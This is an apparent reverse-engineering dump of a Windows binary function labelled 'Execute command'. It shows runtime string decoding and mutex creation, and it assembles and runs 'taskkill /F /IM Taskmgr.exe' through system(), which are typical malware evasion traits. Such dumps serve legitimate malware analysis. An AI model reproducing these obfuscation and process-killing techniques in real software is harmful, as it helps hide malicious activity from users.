Function at 0x140074260
Capabilities:
Execute command

Disassembly:
push r15
mov eax, 0x1268
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.140009fc0
sub rsp, rax
movaps xmmword [rsp + 0x1200], xmm6
movaps xmmword [rsp + 0x1210], xmm7
movaps xmmword [rsp + 0x1220], xmm8
movaps xmmword [rsp + 0x1230], xmm9
movaps xmmword [rsp + 0x1240], xmm10
movaps xmmword [rsp + 0x1250], xmm11
lea rbx, [0x1400a96e0]
call fcn.14000940e
movdqa xmm0, xmmword [str.C_HZL5HTLK6IQLJ_ZCVRLYK_JSTZ]
mov rax, qword [0x14007d060]
mov r10d, 0xe7
mov word [rsp + 0x102c], r10w
cmp byte [0x1400a96c0], 0
movaps xmmword [rsp + 0xff0], xmm0
movdqa xmm0, xmmword [0x14007d040]
mov qword [rsp + 0x1020], rax
movaps xmmword [rsp + 0x1000], xmm0
movdqa xmm0, xmmword [0x14007d050]
mov dword [rsp + 0x1028], 0x4e005f
movaps xmmword [rsp + 0x1010], xmm0
jne 0x14007434a
lea r12, [rsp + 0xff0]
mov ecx, 0x3e
mov rdi, rbx
mov byte [0x1400a971e], 1
mov rsi, r12
mov byte [0x1400a96c0], 1
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x140001360]
call fcn.140001335
cmp byte [0x1400a971e], 0
je 0x140074415
movdqa xmm0, xmmword [0x14007d070]
movdqa xmm2, xmmword [0x1400a96e0]
mov byte [0x1400a971e], 0
movdqa xmm1, xmmword [0x14007d080]
movzx eax, word [0x1400a971c]
paddw xmm2, xmm0
movd xmm6, dword [0x14007d080]
pand xmm2, xmm1
add ax, 0x7519
movaps xmmword [0x1400a96e0], xmm2
movdqa xmm2, xmmword [0x1400a96f0]
and ax, 0xff
mov word [0x1400a971c], ax
paddw xmm2, xmm0
paddw xmm0, xmmword [0x1400a9700]
pand xmm2, xmm1
pand xmm0, xmm1
movaps xmmword [0x1400a96f0], xmm2
movq xmm1, qword [0x14007d070]
movaps xmmword [0x1400a9700], xmm0
movq xmm0, qword [0x1400a9710]
paddw xmm0, xmm1
movq xmm1, qword [0x14007d080]
pand xmm0, xmm1
movd xmm1, dword [0x14007d070]
movq qword [0x1400a9710], xmm0
movd xmm0, dword [0x1400a9718]
paddw xmm0, xmm1
pand xmm0, xmm6
movd dword [0x1400a9718], xmm0
lea rsi, [rsp + 0x90]
mov r8d, 0x104
mov rdx, rbx
mov rcx, rsi
call fcn.140001570
pxor xmm0, xmm0
lea rcx, [rsp + 0x80]
mov r9d, 1
lea r8, [rsp + 0xc0]
mov edx, 0x1f0001
mov dword [rsp + 0xc0], 0x30
mov qword [rsp + 0xc8], 0
mov dword [rsp + 0xd8], 0
mov qword [rsp + 0xd0], rsi
movaps xmmword [rsp + 0xe0], xmm0
call fcn.14000417e
test eax, eax
js 0x140076371
call fcn.140003620
lea rdi, [rsp + 0x180]
mov r14d, eax
call fcn.140003d30
mov ecx, 0x41
mov qword [rsp + 0x40], rdi
movdqa xmm0, xmmword [0x14007d090]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x80]
movaps xmmword [rsp + 0xff0], xmm0
mov dword [rsp + 0x1000], 0xa900db
mov qword [rsp + 0x58], rax
xor eax, eax
cmp byte [0x1400a9678], 0
rep stosq qword [rdi], rax
jne 0x14007451b
movdqa xmm7, xmmword [rsp + 0xff0]
mov eax, dword [rsp + 0x1000]
lea rcx, [0x140001380]
mov byte [0x1400a9694], 1
mov byte [0x1400a9678], 1
mov dword [0x1400a9690], eax
movaps xmmword [0x1400a9680], xmm7
call fcn.140001335
cmp byte [0x1400a9694], 0
je 0x140074572
movdqa xmm0, xmmword [0x14007d0a0]
paddw xmm0, xmmword [0x1400a9680]
mov byte [0x1400a9694], 0
pand xmm0, xmmword [0x14007d080]
movd xmm1, dword [0x14007d0a0]
movd xmm6, dword [0x14007d080]
movaps xmmword [0x1400a9680], xmm0
movd xmm0, dword [0x1400a9690]
paddw xmm0, xmm1
pand xmm0, xmm6
movd dword [0x1400a9690], xmm0
movdqa xmm0, xmmword [0x14007d0b0]
mov rax, qword [0x14007d0c0]
cmp byte [0x1400a9698], 0
mov qword [rsp + 0x1000], rax
movaps xmmword [rsp + 0xff0], xmm0
jne 0x1400745d3
movdqa xmm7, xmmword [rsp + 0xff0]
mov rax, qword [rsp + 0x1000]
lea rcx, [0x140001370]
mov byte [0x1400a96b8], 1
mov byte [0x1400a9698], 1
mov qword [0x1400a96b0], rax
movaps xmmword [0x1400a96a0], xmm7
call fcn.140001335
cmp byte [0x1400a96b8], 0
je 0x14007462a
movdqa xmm0, xmmword [0x14007d0a0]
paddw xmm0, xmmword [0x1400a96a0]
mov byte [0x1400a96b8], 0
pand xmm0, xmmword [0x14007d080]
movq xmm1, qword [0x14007d0a0]
movaps xmmword [0x1400a96a0], xmm0
movq xmm0, qword [0x1400a96b0]
paddw xmm0, xmm1
movq xmm1, qword [0x14007d080]
pand xmm0, xmm1
movq qword [0x1400a96b0], xmm0
mov rcx, qword [rsp + 0x58]
lea rdx, [0x1400a96a0]
lea rbx, [rsp + 0x390]
mov rdi, rbx
call fcn.140002c20
mov rcx, qword [rsp + 0x40]
lea r8, [0x1400a9680]
mov rdx, rax
call fcn.140002bf0
movdqa xmm0, xmmword [str.2_3]
xor eax, eax
mov ecx, 0x41
rep stosq qword [rdi], rax
cmp byte [0x1400a9650], 0
mov word [rsp + 0x1000], 0xcf
movaps xmmword [rsp + 0xff0], xmm0
jne 0x1400746ba
movdqa xmm6, xmmword [rsp + 0xff0]
lea rcx, [0x140001390]
mov byte [0x1400a9672], 1
mov word [0x1400a9670], 0xcf
mov byte [0x1400a9650], 1
movaps xmmword [0x1400a9660], xmm6
call fcn.140001335
cmp byte [0x1400a9672], 0
je 0x1400746ff
movzx eax, word [0x1400a9670]
movdqa xmm0, xmmword [0x14007d0e0]
mov byte [0x1400a9672], 0
paddw xmm0, xmmword [0x1400a9660]
pand xmm0, xmmword [0x14007d080]
sub ax, 0x2ecf
and ax, 0xff
movaps xmmword [0x1400a9660], xmm0
mov word [0x1400a9670], ax
mov rdx, qword [rsp + 0x40]
mov rcx, rbx
lea r8, [0x1400a9660]
lea rbx, [rsp + 0x5a0]
mov rdi, rbx
lea r12, [rsp + 0xff0]
call fcn.140002bf0
movdqa xmm0, xmmword [str.__A7BJFBJ8E_8___I]
xor eax, eax
mov ecx, 0x41
rep stosq qword [rdi], rax
mov rax, qword [0x14007d130]
cmp byte [0x1400a95e0], 0
mov dword [rsp + 0x1038], 0x38004b
movaps xmmword [rsp + 0xff0], xmm0
movdqa xmm0, xmmword [0x14007d100]
mov qword [rsp + 0x1030], rax
movaps xmmword [rsp + 0x1000], xmm0
movdqa xmm0, xmmword [0x14007d110]
mov word [rsp + 0x103c], 0xd3
movaps xmmword [rsp + 0x1010], xmm0
movdqa xmm0, xmmword [0x14007d120]
movaps xmmword [rsp + 0x1020], xmm0
jne 0x1400747cb
lea rax, [0x1400a9600]
mov ecx, 0x4e
mov rsi, r12
mov byte [0x1400a964e], 1
mov rdi, rax
mov byte [0x1400a95e0], 1
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x1400013a0]
call fcn.140001335
cmp byte [0x1400a964e], 0
je 0x1400748ad
movdqa xmm0, xmmword [0x14007d140]
movdqa xmm2, xmmword [0x1400a9600]
mov byte [0x1400a964e], 0
movdqa xmm1, xmmword [0x14007d080]
movzx eax, word [0x1400a964c]
paddw xmm2, xmm0
movd xmm7, dword [0x14007d080]
pand xmm2, xmm1
sub ax, 0x1ed3
movaps xmmword [0x1400a9600], xmm2
movdqa xmm2, xmmword [0x1400a9610]
and ax, 0xff
mov word [0x1400a964c], ax
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9610], xmm2
movdqa xmm2, xmmword [0x1400a9620]
paddw xmm2, xmm0
paddw xmm0, xmmword [0x1400a9630]
pand xmm2, xmm1
pand xmm0, xmm1
movaps xmmword [0x1400a9620], xmm2
movq xmm1, qword [0x14007d140]
movaps xmmword [0x1400a9630], xmm0
movq xmm0, qword [0x1400a9640]
paddw xmm0, xmm1
movq xmm1, qword [0x14007d080]
pand xmm0, xmm1
movd xmm1, dword [0x14007d140]
movq qword [0x1400a9640], xmm0
movd xmm0, dword [0x1400a9648]
paddw xmm0, xmm1
pand xmm0, xmm7
movd dword [0x1400a9648], xmm0
mov rdx, qword [rsp + 0x40]
mov rcx, rbx
lea r8, [0x1400a9600]
lea r13, [rsp + 0x7b0]
mov rdi, r13
call fcn.140002bf0
movdqa xmm0, xmmword [0x14007d150]
xor eax, eax
mov ecx, 0x41
rep stosq qword [rdi], rax
cmp byte [0x1400a9570], 0
mov dword [rsp + 0x1020], 0xc000d3
movaps xmmword [rsp + 0xff0], xmm0
movdqa xmm0, xmmword [0x14007d160]
mov word [rsp + 0x1024], 0x5b
movaps xmmword [rsp + 0x1000], xmm0
movdqa xmm0, xmmword [0x14007d170]
movaps xmmword [rsp + 0x1010], xmm0
jne 0x140074952
lea rax, [0x1400a9580]
mov ecx, 0x36
mov rsi, r12
mov byte [0x1400a95b6], 1
mov rdi, rax
mov byte [0x1400a9570], 1
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x1400013c0]
call fcn.140001335
cmp byte [0x1400a95b6], 0
je 0x1400749f5
movdqa xmm0, xmmword [0x14007d180]
movdqa xmm2, xmmword [0x1400a9580]
mov byte [0x1400a95b6], 0
movdqa xmm1, xmmword [0x14007d080]
movzx eax, word [0x1400a95b4]
paddw xmm2, xmm0
movd xmm6, dword [0x14007d080]
pand xmm2, xmm1
sub ax, 0x345b
movaps xmmword [0x1400a9580], xmm2
movdqa xmm2, xmmword [0x1400a9590]
and ax, 0xff
mov word [0x1400a95b4], ax
paddw xmm2, xmm0
paddw xmm0, xmmword [0x1400a95a0]
pand xmm2, xmm1
pand xmm0, xmm1
movd xmm1, dword [0x14007d180]
movaps xmmword [0x1400a9590], xmm2
movaps xmmword [0x1400a95a0], xmm0
movd xmm0, dword [0x1400a95b0]
paddw xmm0, xmm1
pand xmm0, xmm6
movd dword [0x1400a95b0], xmm0
movdqa xmm0, xmmword [0x14007d190]
mov rax, qword [0x14007d1a0]
mov dword [rsp + 0x1008], 0x5b0098
cmp byte [0x1400a95b8], 0
mov qword [rsp + 0x1000], rax
movaps xmmword [rsp + 0xff0], xmm0
jne 0x140074a62
movdqa xmm7, xmmword [rsp + 0xff0]
lea rcx, [0x1400013b0]
movdqu xmm6, xmmword [rsp + 0xffc]
mov byte [0x1400a95dc], 1
mov byte [0x1400a95b8], 1
movaps xmmword [0x1400a95c0], xmm7
movups xmmword [0x1400a95cc], xmm6
call fcn.140001335
cmp byte [0x1400a95dc], 0
je 0x140074ae1
movdqa xmm0, xmmword [0x14007d180]
paddw xmm0, xmmword [0x1400a95c0]
mov byte [0x1400a95dc], 0
pand xmm0, xmmword [0x14007d080]
movd xmm7, dword [0x14007d080]
movq xmm1, qword [0x14007d180]
movaps xmmword [0x1400a95c0], xmm0
movq xmm0, qword [0x1400a95d0]
paddw xmm0, xmm1
movq xmm1, qword [0x14007d080]
pand xmm0, xmm1
movd xmm1, dword [0x14007d180]
movq qword [0x1400a95d0], xmm0
movd xmm0, dword [0x1400a95d8]
paddw xmm0, xmm1
pand xmm0, xmm7
movd dword [0x1400a95d8], xmm0
mov rcx, qword [rsp + 0x58]
lea rdx, [0x1400a95c0]
lea rbx, [rsp + 0x9c0]
mov rdi, rbx
call fcn.140002c20
mov rcx, r13
lea r8, [0x1400a9580]
mov rdx, rax
call fcn.140002bf0
xor eax, eax
mov ecx, 0x41
movdqa xmm0, xmmword [0x14007d1b0]
rep stosq qword [rdi], rax
mov rax, qword [0x14007d1c0]
cmp byte [0x1400a9518], 0
mov dword [rsp + 0x1008], 0x33008f
movaps xmmword [rsp + 0xff0], xmm0
mov qword [rsp + 0x1000], rax
jne 0x140074b86
movdqa xmm6, xmmword [rsp + 0xff0]
lea rcx, [0x1400013e0]
movdqu xmm7, xmmword [rsp + 0xffc]
mov byte [0x1400a953c], 1
mov byte [0x1400a9518], 1
movaps xmmword [0x1400a9520], xmm6
movups xmmword [0x1400a952c], xmm7
call fcn.140001335
cmp byte [0x1400a953c], 0
je 0x140074c05
movdqa xmm0, xmmword [0x14007d1d0]
paddw xmm0, xmmword [0x1400a9520]
mov byte [0x1400a953c], 0
pand xmm0, xmmword [0x14007d080]
movd xmm6, dword [0x14007d080]
movq xmm1, qword [0x14007d1d0]
movaps xmmword [0x1400a9520], xmm0
movq xmm0, qword [0x1400a9530]
paddw xmm0, xmm1
movq xmm1, qword [0x14007d080]
pand xmm0, xmm1
movd xmm1, dword [0x14007d1d0]
movq qword [0x1400a9530], xmm0
movd xmm0, dword [0x1400a9538]
paddw xmm0, xmm1
pand xmm0, xmm6
movd dword [0x1400a9538], xmm0
movdqa xmm0, xmmword [0x14007d1e0]
mov rax, qword [0x14007d1f0]
mov dword [rsp + 0x1008], 0x330070
cmp byte [0x1400a9540], 0
mov qword [rsp + 0x1000], rax
movaps xmmword [rsp + 0xff0], xmm0
jne 0x140074c72
movdqa xmm7, xmmword [rsp + 0xff0]
lea rcx, [0x1400013d0]
movdqu xmm6, xmmword [rsp + 0xffc]
mov byte [0x1400a956c], 1
mov byte [0x1400a9540], 1
movaps xmmword [0x1400a9550], xmm7
movups xmmword [0x1400a955c], xmm6
call fcn.140001335
cmp byte [0x1400a956c], 0
je 0x140074cf1
movdqa xmm0, xmmword [0x14007d1d0]
paddw xmm0, xmmword [0x1400a9550]
mov byte [0x1400a956c], 0
pand xmm0, xmmword [0x14007d080]
movd xmm7, dword [0x14007d080]
movq xmm1, qword [0x14007d1d0]
movaps xmmword [0x1400a9550], xmm0
movq xmm0, qword [0x1400a9560]
paddw xmm0, xmm1
movq xmm1, qword [0x14007d080]
pand xmm0, xmm1
movd xmm1, dword [0x14007d1d0]
movq qword [0x1400a9560], xmm0
movd xmm0, dword [0x1400a9568]
paddw xmm0, xmm1
pand xmm0, xmm7
movd dword [0x1400a9568], xmm0
mov rcx, qword [rsp + 0x58]
lea rdx, [0x1400a9550]
lea rdi, [rsp + 0xbd0]
call fcn.140002c20
mov rcx, rbx
lea r8, [0x1400a9520]
mov rdx, rax
call fcn.140002bf0
movdqa xmm0, xmmword [0x14007d200]
xor eax, eax
mov ecx, 0x41
cmp byte [0x1400a94f0], 0
mov qword [rsp + 0x68], rdi
rep stosq qword [rdi], rax
movaps xmmword [rsp + 0xff0], xmm0
mov word [rsp + 0x1000], 0x8f
jne 0x140074d81
movdqa xmm6, xmmword [rsp + 0xff0]
lea rcx, [0x1400013f0]
mov byte [0x1400a9512], 1
mov word [0x1400a9510], 0x8f
mov byte [0x1400a94f0], 1
movaps xmmword [0x1400a9500], xmm6
call fcn.140001335
cmp byte [0x1400a9512], 0
je 0x140074dc6
movzx eax, word [0x1400a9510]
movdqa xmm0, xmmword [0x14007d210]
mov byte [0x1400a9512], 0
paddw xmm0, xmmword [0x1400a9500]
pand xmm0, xmmword [0x14007d080]
sub ax, 0x508f
and ax, 0xff
movaps xmmword [0x1400a9500], xmm0
mov word [0x1400a9510], ax
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x40]
lea r8, [0x1400a9500]
lea rdi, [rsp + 0xde0]
call fcn.140002bf0
xor eax, eax
mov ecx, 0x41
mov qword [rsp + 0x50], rdi
movdqa xmm0, xmmword [0x14007d220]
cmp byte [0x1400a94c0], 0
mov dword [rsp + 0x1008], 0x8f00f4
rep stosq qword [rdi], rax
mov rax, qword [0x14007d230]
movaps xmmword [rsp + 0xff0], xmm0
mov qword [rsp + 0x1000], rax
jne 0x140074e60
movdqa xmm7, xmmword [rsp + 0xff0]
lea rcx, [0x140001400]
movdqu xmm6, xmmword [rsp + 0xffc]
mov byte [0x1400a94ec], 1
mov byte [0x1400a94c0], 1
movaps xmmword [0x1400a94d0], xmm7
movups xmmword [0x1400a94dc], xmm6
call fcn.140001335
cmp byte [0x1400a94ec], 0
je 0x140074edf
movdqa xmm0, xmmword [str.q9q9q9q9q9q9q9q9]
paddw xmm0, xmmword [0x1400a94d0]
mov byte [0x1400a94ec], 0
pand xmm0, xmmword [0x14007d080]
movd xmm7, dword [0x14007d080]
movq xmm1, qword [str.q9q9q9q9q9q9q9q9]
movaps xmmword [0x1400a94d0], xmm0
movq xmm0, qword [0x1400a94e0]
paddw xmm0, xmm1
movq xmm1, qword [0x14007d080]
pand xmm0, xmm1
movd xmm1, dword [str.q9q9q9q9q9q9q9q9]
movq qword [0x1400a94e0], xmm0
movd xmm0, dword [0x1400a94e8]
paddw xmm0, xmm1
pand xmm0, xmm7
movd dword [0x1400a94e8], xmm0
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
lea r8, [0x1400a94d0]
call fcn.140002bf0
call fcn.140001d40
cmp byte [0x1400a94a8], 0
mov ebp, eax
jne 0x140074f30
lea rcx, [0x140001410]
mov byte [0x1400a94b8], 1
movabs rax, 0x4f00c100bc00c7
mov qword [0x1400a94b0], rax
mov byte [0x1400a94a8], 1
call fcn.140001335
cmp byte [0x1400a94b8], 0
je 0x140074f68
movq xmm0, qword [0x1400a94b0]
mov byte [0x1400a94b8], 0
movq xmm1, qword [0x14007d290]
paddw xmm0, xmm1
movq xmm1, qword [0x14007d080]
pand xmm0, xmm1
movq qword [0x1400a94b0], xmm0
movdqa xmm0, xmmword [0x14007d250]
cmp byte [0x1400a9440], 0
mov dword [rsp + 0x1030], 0xb100bd
mov word [rsp + 0x1034], 0x4f
movaps xmmword [rsp + 0xff0], xmm0
movdqa xmm0, xmmword [0x14007d260]
movaps xmmword [rsp + 0x1000], xmm0
movdqa xmm0, xmmword [0x14007d270]
movaps xmmword [rsp + 0x1010], xmm0
movdqa xmm0, xmmword [0x14007d280]
movaps xmmword [rsp + 0x1020], xmm0
jne 0x140074ff4
lea rax, [0x1400a9460]
mov ecx, 0x46
mov rsi, r12
mov byte [0x1400a94a6], 1
mov rdi, rax
mov byte [0x1400a9440], 1
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x140001420]
call fcn.140001335
cmp byte [0x1400a94a6], 0
jne 0x1400762bf
lea rdx, [rsp + 0x7c]
mov rcx, r13
lea r15, [rsp + 0xb0]
call fcn.140003240
mov edx, dword [rsp + 0x7c]
mov rcx, rax
mov qword [rsp + 0x60], rax
call fcn.1400029c0
lea rax, [rsp + 0x88]
mov qword [rsp + 0x88], 0xffffffff88ca6c00
movdqa xmm6, xmmword [0x14007d2b0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xa0]
movdqa xmm7, xmmword [0x14007d2c0]
movdqa xmm8, xmmword [0x14007d2d0]
mov qword [rsp + 0x38], rax
movdqa xmm9, xmmword [0x14007d2e0]
movdqa xmm10, xmmword [0x14007d2f0]
movdqa xmm11, xmmword [0x14007d300]
jmp 0x1400756d9
mov rbx, qword [0x1400826c0]
mov r8d, 7
lea rdx, str.success
mov rcx, rbx
call fcn.140071080
mov rax, qword [rbx]
mov rax, qword [rax - 0x18]
mov rsi, qword [rax + rbx + 0xf0]
test rsi, rsi
je 0x1400763bb
cmp byte [rsi + 0x38], 0
je 0x140075e10
movsx edx, byte [rsi + 0x43]
mov rcx, rbx
call fcn.14004b590
mov rcx, rax
call fcn.14004b690
cmp byte [0x1400a9428], 0
lea rbx, [0x1400a9430]
jne 0x14007511a
mov rax, qword [0x14007d2a0]
lea rcx, [0x140001430]
mov byte [0x1400a9438], 1
mov byte [0x1400a9428], 1
mov qword [0x1400a9430], rax
call fcn.140001335
cmp byte [0x1400a9438], 0
je 0x14007514a
movq xmm0, qword [rbx]
mov byte [0x1400a9438], 0
movq xmm1, qword [0x14007d2a8]
paddw xmm0, xmm1
movq xmm1, qword [0x14007d080]
pand xmm0, xmm1
movq qword [rbx], xmm0
lea rdx, [0x1400a94b0]
mov rcx, rbx
call sub.msvcrt.dll__wcsicmp
test eax, eax
setne bl
or bl, bpl
je 0x140075174
lea rcx, [0x1400a9460]
call fcn.140002b40
xor eax, 1
mov ebx, eax
mov rcx, r13
call fcn.1400035d0
xor eax, 1
mov esi, eax
test r14b, r14b
je 0x140075e00
movdqa xmm0, xmmword [0x14007d310]
mov r9d, 0x7b
cmp byte [0x1400a9338], 0
movaps xmmword [rsp + 0xff0], xmm6
mov word [rsp + 0x10d0], r9w
movaps xmmword [rsp + 0x1050], xmm0
movdqa xmm0, xmmword [0x14007d320]
movaps xmmword [rsp + 0x1000], xmm7
movaps xmmword [rsp + 0x1060], xmm0
movdqa xmm0, xmmword [0x14007d330]
movaps xmmword [rsp + 0x1010], xmm8
movaps xmmword [rsp + 0x1070], xmm0
movdqa xmm0, xmmword [0x14007d340]
movaps xmmword [rsp + 0x1020], xmm9
movaps xmmword [rsp + 0x1080], xmm0
movdqa xmm0, xmmword [0x14007d350]
movaps xmmword [rsp + 0x1030], xmm10
movaps xmmword [rsp + 0x1090], xmm0
movdqa xmm0, xmmword [0x14007d360]
movaps xmmword [rsp + 0x1040], xmm11
movaps xmmword [rsp + 0x10a0], xmm0
movdqa xmm0, xmmword [0x14007d370]
movaps xmmword [rsp + 0x10b0], xmm0
movdqa xmm0, xmmword [0x14007d380]
movaps xmmword [rsp + 0x10c0], xmm0
jne 0x140075359
movdqa xmm3, xmmword [r12]
movdqa xmm4, xmmword [r12 + 0x10]
lea rcx, [0x140001440]
mov byte [0x1400a9422], 1
movdqa xmm5, xmmword [r12 + 0x20]
mov byte [0x1400a9338], 1
movzx eax, word [r12 + 0xe0]
movaps xmmword [0x1400a9340], xmm3
movdqa xmm3, xmmword [r12 + 0x30]
movaps xmmword [0x1400a9350], xmm4
movdqa xmm4, xmmword [r12 + 0x40]
movaps xmmword [0x1400a9360], xmm5
movdqa xmm5, xmmword [r12 + 0x50]
movaps xmmword [0x1400a9370], xmm3
movdqa xmm3, xmmword [r12 + 0x60]
movaps xmmword [0x1400a9380], xmm4
movdqa xmm4, xmmword [r12 + 0x70]
movaps xmmword [0x1400a9390], xmm5
movdqa xmm5, xmmword [r12 + 0x80]
movaps xmmword [0x1400a93a0], xmm3
movdqa xmm3, xmmword [r12 + 0x90]
movaps xmmword [0x1400a93b0], xmm4
movdqa xmm4, xmmword [r12 + 0xa0]
movaps xmmword [0x1400a93c0], xmm5
movdqa xmm5, xmmword [r12 + 0xb0]
movaps xmmword [0x1400a93d0], xmm3
movdqa xmm3, xmmword [r12 + 0xc0]
movaps xmmword [0x1400a93e0], xmm4
movdqa xmm4, xmmword [r12 + 0xd0]
mov word [0x1400a9420], ax
movaps xmmword [0x1400a93f0], xmm5
movaps xmmword [0x1400a9400], xmm3
movaps xmmword [0x1400a9410], xmm4
call fcn.140001335
cmp byte [0x1400a9422], 0
je 0x1400754d1
movdqa xmm0, xmmword [0x14007d390]
movdqa xmm2, xmmword [0x1400a9340]
movdqa xmm1, xmmword [0x14007d080]
movzx eax, word [0x1400a9420]
paddw xmm2, xmm0
pand xmm2, xmm1
add ax, 0x6b85
movaps xmmword [0x1400a9340], xmm2
movdqa xmm2, xmmword [0x1400a9350]
and ax, 0xff
mov word [0x1400a9420], ax
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9350], xmm2
movdqa xmm2, xmmword [0x1400a9360]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9360], xmm2
movdqa xmm2, xmmword [0x1400a9370]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9370], xmm2
movdqa xmm2, xmmword [0x1400a9380]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9380], xmm2
movdqa xmm2, xmmword [0x1400a9390]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9390], xmm2
movdqa xmm2, xmmword [0x1400a93a0]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a93a0], xmm2
movdqa xmm2, xmmword [0x1400a93b0]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a93b0], xmm2
movdqa xmm2, xmmword [0x1400a93c0]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a93c0], xmm2
movdqa xmm2, xmmword [0x1400a93d0]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a93d0], xmm2
movdqa xmm2, xmmword [0x1400a93e0]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a93e0], xmm2
movdqa xmm2, xmmword [0x1400a93f0]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a93f0], xmm2
movdqa xmm2, xmmword [0x1400a9400]
paddw xmm2, xmm0
paddw xmm0, xmmword [0x1400a9410]
pand xmm2, xmm1
pand xmm0, xmm1
movaps xmmword [0x1400a9400], xmm2
movaps xmmword [0x1400a9410], xmm0
mov byte [0x1400a9422], 0
lea rcx, [0x1400a9340]
call fcn.140003690
xor eax, 1
mov edi, eax
movdqa xmm0, xmmword [str.__DVH1DPHG2EMHFWV_GNSLHDOXPDHHGEPHOVOOOJ]
mov r8d, 0xe3
cmp byte [0x1400a92c0], 0
mov dword [rsp + 0x1040], 0x5d0056
mov word [rsp + 0x1044], r8w
movaps xmmword [rsp + 0xff0], xmm0
movdqa xmm0, xmmword [0x14007d3b0]
movaps xmmword [rsp + 0x1000], xmm0
movdqa xmm0, xmmword [0x14007d3c0]
movaps xmmword [rsp + 0x1010], xmm0
movdqa xmm0, xmmword [0x14007d3d0]
movaps xmmword [rsp + 0x1020], xmm0
movdqa xmm0, xmmword [0x14007d3e0]
movaps xmmword [rsp + 0x1030], xmm0
jne 0x1400755c0
movdqa xmm3, xmmword [r12]
movdqa xmm4, xmmword [r12 + 0x10]
lea rcx, [0x140001450]
mov byte [0x1400a9336], 1
movdqa xmm5, xmmword [r12 + 0x20]
mov rax, qword [r12 + 0x4e]
mov byte [0x1400a92c0], 1
movaps xmmword [0x1400a92e0], xmm3
movdqa xmm3, xmmword [r12 + 0x30]
movaps xmmword [0x1400a92f0], xmm4
movdqa xmm4, xmmword [r12 + 0x40]
movaps xmmword [0x1400a9300], xmm5
movaps xmmword [0x1400a9320], xmm4
movaps xmmword [0x1400a9310], xmm3
mov qword [0x1400a932e], rax
call fcn.140001335
cmp byte [0x1400a9336], 0
je 0x140075691
movdqa xmm0, xmmword [0x14007d3f0]
movdqa xmm2, xmmword [0x1400a92e0]
mov byte [0x1400a9336], 0
movdqa xmm1, xmmword [0x14007d080]
movzx eax, word [0x1400a9334]
paddw xmm2, xmm0
movd xmm5, dword [0x14007d080]
pand xmm2, xmm1
sub ax, 0x50e3
movaps xmmword [0x1400a92e0], xmm2
movdqa xmm2, xmmword [0x1400a92f0]
and ax, 0xff
mov word [0x1400a9334], ax
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a92f0], xmm2
movdqa xmm2, xmmword [0x1400a9300]
paddw xmm2, xmm0
pand xmm2, xmm1
movaps xmmword [0x1400a9300], xmm2
movdqa xmm2, xmmword [0x1400a9310]
paddw xmm2, xmm0
paddw xmm0, xmmword [0x1400a9320]
pand xmm2, xmm1
pand xmm0, xmm1
movd xmm1, dword [0x14007d3f0]
movaps xmmword [0x1400a9310], xmm2
movaps xmmword [0x1400a9320], xmm0
movd xmm0, dword [0x1400a9330]
paddw xmm0, xmm1
pand xmm0, xmm5
movd dword [0x1400a9330], xmm0
lea rcx, [0x1400a92e0]
call fcn.140002b40
cmp al, 1
je 0x1400756a9
test bl, bl
jne 0x1400757e0
test dil, dil
jne 0x1400757e0
test sil, sil
jne 0x1400757e0
mov rcx, qword [rsp + 0xa0]
cmp rcx, r15
je 0x1400756d9
mov rax, qword [rsp + 0xb0]
lea rdx, [rax + 1]
call fcn.140073a10
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
movabs rsi, 0x6c6c696b6b736174
movabs rdi, 0x204d492f20462f20
call fcn.140004124
mov rcx, qword [rsp + 0x38]
mov rdx, r12
xor r8d, r8d
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0xff0], 0x10
call fcn.140068660
mov rdx, qword [rsp + 0xff0]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xb0], rdx
mov qword [rax], rsi
mov rdx, qword [rsp + 0xa0]
mov qword [rax + 8], rdi
mov rax, qword [rsp + 0xff0]
mov qword [rsp + 0xa8], rax
mov byte [rdx + rax], 0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0xa8]
cmp rax, 0xa
jbe 0x1400763c0
mov rcx, qword [rsp + 0x38]
mov r8d, 0xb
lea rdx, str.Taskmgr.exe
call fcn.140068570
mov rcx, qword [rsp + 0xa0]
call sub.msvcrt.dll_system
test eax, eax
je 0x140075090
mov rbx, qword [0x1400826a0]
mov r8d, 6
lea rdx, str.failed
mov rcx, rbx
call fcn.140071080
mov rax, qword [rbx]
mov rax, qword [rax - 0x18]
mov rsi, qword [rax + rbx + 0xf0]
test rsi, rsi
jne 0x1400750c4
call fcn.1400764d0
nop dword [rax]
test r14b, r14b
je 0x140075e41
movdqa xmm0, xmmword [0x14007d400]
xor eax, eax
mov ecx, 0x41
mov rdi, r12
rep stosq qword [rdi], rax
cmp byte [0x1400a9260], 0
mov dword [rsp + 0x110], 0x6700d3
movaps xmmword [rsp + 0xf0], xmm0
movdqa xmm0, xmmword [0x14007d410]
movaps xmmword [rsp + 0x100], xmm0
jne 0x140075871
movdqa xmm5, xmmword [rsp + 0xf0]
mov eax, dword [rsp + 0x110]
lea rcx, [0x140001470]
mov byte [0x1400a92a4], 1
mov byte [0x1400a9260], 1
movaps xmmword [0x1400a9280], xmm5
